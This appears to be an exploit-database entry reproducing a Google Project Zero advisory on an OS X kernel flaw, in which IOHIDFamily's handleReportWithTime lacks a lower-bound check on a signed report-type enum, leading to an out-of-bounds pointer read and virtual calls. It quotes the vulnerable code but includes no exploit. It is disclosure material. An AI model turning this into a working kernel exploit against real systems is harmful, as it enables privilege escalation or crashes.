Description: Apple Mac OSX Kernel - Out-of-Bounds Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type
Type: dos
Platform: osx
Date: 2016-06-10
Author: Google Security Research

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
